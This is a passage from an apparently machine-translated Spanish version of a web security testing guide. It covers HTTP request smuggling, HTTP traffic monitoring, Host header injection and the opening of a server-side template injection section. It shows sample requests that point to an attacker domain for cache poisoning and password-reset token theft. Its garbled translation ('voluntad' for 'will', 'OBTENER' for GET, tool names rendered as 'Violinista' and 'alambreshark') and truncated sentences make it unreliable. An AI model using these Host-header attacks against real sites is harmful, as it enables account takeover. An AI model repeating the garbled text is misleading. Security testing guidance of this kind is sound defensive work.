parte de lo falso encabezamiento
xxxxx ).
Ahora que sucede a IIS 5.0? Él dejará de analizar Solicitud #1 justo después de los 49152 bytes de
basura ( como voluntad tener
reclamos eso es contenido es de 33 bytes, que incluye todo hasta " xxxx : ", lo que hace que IIS
pierda la Solicitud n.° 3 ( interpretada como
parte de Solicitud # 2 ) pero detecte la Solicitud n.° 4, cuando comienza su POST justo después del
byte 33 o Solicitud #2. Él es un poco
322
complicado , pero el punto es que la URL del ataque no ser detectado por el firewall ( será
interpretado como el cuerpo de
una previa petición ) pero será correctamente analizado (y ejecutado ) por IIS.
Mientras que en el caso antes mencionado la técnica explota un error de un servidor web , hay
otros escenarios en los que nosotros
puede aprovechar los diferentes maneras eso diferente habilitado para HTTP dispositivos analizar
gramaticalmente mensajes que no cumplen con 1005 RFC .
Para Por ejemplo , el protocolo HTTP. permite solo un contenido: longitud encabezado , pero hace
no especificar cómo a manejar un
mensaje eso tiene dos instancias de este encabezado . Alguno implementaciones usará el primero
uno mientras otros voluntad prefiero el
Segundo , limpiando el camino. para el contrabando HTTP ataques . Otro ejemplo es el uso del
Contenido- Longitud encabezado en un
OBTENER mensaje .
un poco difícil , en un compromiso de prueba de penetración , para convencer al cliente que una
contramedida debe ser mirado para de todos modos .
Referencias
Libros blancos
Amit Klein, “Divide y vencerás : división de respuestas HTTP , envenenamiento de caché web
Ataques y relacionados Temas ”
Amit Klein: “ Solicitud HTTP Contrabando - ERRATA (el fenómeno del buffer IIS 48K )”
Chaim Linhart , Amit Klein, Ronen Heled , Steve Orrin : “ Solicitud HTTP Contrabando "
323
IDENTIFICACIÓN
WSTG-INPV-16
Resumen
Este sección describe cómo para monitorear todo solicitudes HTTP entrantes / salientes en ambos
lado del cliente o del lado del servidor . El
objetivo de este pruebas es a verificar si allá es innecesario o solicitud HTTP sospechosa enviando
en segundo plano .
Mayoría de seguridad web pruebas Las herramientas (es decir, AppScan , BurpSuite , ZAP) actúan
como proxy HTTP. Este voluntad requerir cambios de apoderado
en lado del cliente solicitud o navegador. La prueba técnicas listado abajo es primario enfocado en
cómo podemos monitorear
Solicitudes HTTP sin cambios de lado del cliente cual Estará más cerca a producción uso escenario .
Objetivos de la prueba
Monitorear todo solicitudes HTTP entrantes y salientes al servidor web para inspeccionar
cualquier sospechoso peticiones .
Monitorear el tráfico HTTP sin cambios de fin proxy del navegador del usuario o lado del cliente
solicitud .
Cómo Probar
Proxy inverso
Allá es situación eso nosotros haría como para monitorear todos los HTTP entrantes peticiones en
el servidor web pero nosotros no poder cambiar
configuración en el navegador o solicitud lado del cliente . En esto escenario , podemos configurar
un proxy inverso en el servidor web
Referirse a este referencia para cómo para configurar Fiddler como proxy inverso
La prueba pasos :
5. Modifique las solicitudes HTTP y reproduzca las modificadas . peticiones para pruebas
Reenvío de puertos
Reenvío de puertos es otro forma a permitir a nosotros interceptar solicitudes HTTP sin cambios
de lado del cliente . También puedes usar
Charles como representante de SOCKS para actuar como puerto reenvío o usos de Port
Forwarding herramientas . Él voluntad permitir a nosotros reenviar todo
próximo lado del cliente capturado tráfico al puerto del servidor web .
324
Este técnica monitorear toda la red tráfico a nivel TCP . TCPDump o alambreshark Se pueden
utilizar herramientas . Sin embargo , estos
Violinista o Charles son recomendados desde estos Las herramientas pueden capturar el tráfico
HTTP y también fácilmente editar / responder lo modificado
Solicitudes HTTP . Además , si el tráfico web es HTTPS, el wirehark voluntad necesidad a importar
el servidor web privado llave a
Herramientas
Violinista
TCPProxy
alambreshark
PowerEdit-Pcap
capteller
proxy de repetición
Ostinato
Referencias
Violinista
TCPDUMP
Ostinato
325
IDENTIFICACIÓN
WSTG-INPV-17
Resumen
Un servidor web suele alojar varias aplicaciones web . en la misma dirección IP , refiriéndose a
cada solicitud mediante el
anfitrión virtual. en un Solicitud HTTP entrante , los servidores web a menudo enviar la solicitud al
host virtual de destino basado sobre el
valor suministrado en el encabezado del Host . Sin adecuado validación del encabezado valor , el
atacante puede proporcionar entrada inválida
Objetivos de la prueba
Cómo Probar
Inicial pruebas es tan simple como suministrar otro dominio (es decir, atacante.com) en el
encabezado del host campo . Él es cómo la web
El servidor procesa el encabezado. valor eso dicta el impacto . El ataque es válido cuando el
servidor web procesa la entrada
a enviar la solicitud a un host controlado por el atacante que reside en el servidor suministrado
dominio y no a un host virtual interno
OBTENER / HTTP/1.1
Anfitrión: www.attacker.com
[...]
En el caso más simple , esto puede causar una redirección 302 al suministrado dominio .
[...]
Ubicación : http://www.attacker.com/login.php
Alternativamente , el servidor web puede enviar la solicitud al primer host virtual de la lista .
En el caso ese encabezado de host inyección es mitigado por comprobación para entrada no válida
inyectada A través del encabezado Host , puedes
OBTENER / HTTP/1.1
Anfitrión: www.ejemplo.com
...
326
...
...
Una vez más , esto depende en cómo el servidor web procesa el encabezado valor .
Usando este técnica , una El atacante puede manipular un caché web para servir datos
envenenados. contenido a alguien OMS peticiones él .
Este se basa sobre la capacidad a envenenar el proxy de almacenamiento en caché ejecutado por
la aplicación sí mismo , CDN o otro río abajo proveedores .
Como resultado , la víctima voluntad no tener control sobre recibiendo lo malicioso contenido
cuando solicitando a los vulnerables
solicitud .
OBTENER / HTTP/1.1
Anfitrión: www.attacker.com
...
La siguiente será servido desde el caché web, cuando una víctima visita la aplicación vulnerable .
...
...
Él es común para contraseña reiniciar funcionalidad a incluir el encabezado del host valor cuando
creando contraseña restablecer enlaces que
utilizar un generado ficha secreta . Si la aplicación procesos un controlado por el atacante dominio
a Crear una contraseña reiniciar
enlace, la víctima puede hacer clic en el enlace del correo electrónico y permitir que el atacante a
obtener el token de reinicio , así restablecer el
de la víctima contraseña .
http://www.attacker.com/index.php?
module=Login&action=resetPassword&token=<SECRET_TOKEN>
Referencias
327
IDENTIFICACIÓN
WSTG-INPV-18
Resumen
aplicaciones web comúnmente usan del lado del servidor plantilla tecnologías (Jinja2, Twig ,
FreeMaker , etc.) para generar
respuestas HTML dinámicas . Lado del servidor Plantilla Inyección Se producen vulnerabilidades
(SSTI) cuando la entrada del usuario es incrustado en
avanzado proporcionado por el usuario margen puede ser vulnerable a SSTI, incluidas páginas
wiki , reseñas , aplicaciones de marketing ,
Sistemas CMS , etc. Algunos plantilla motores emplear varios mecanismos ( por ejemplo ,
sandbox , permitir listado , etc.) a proteger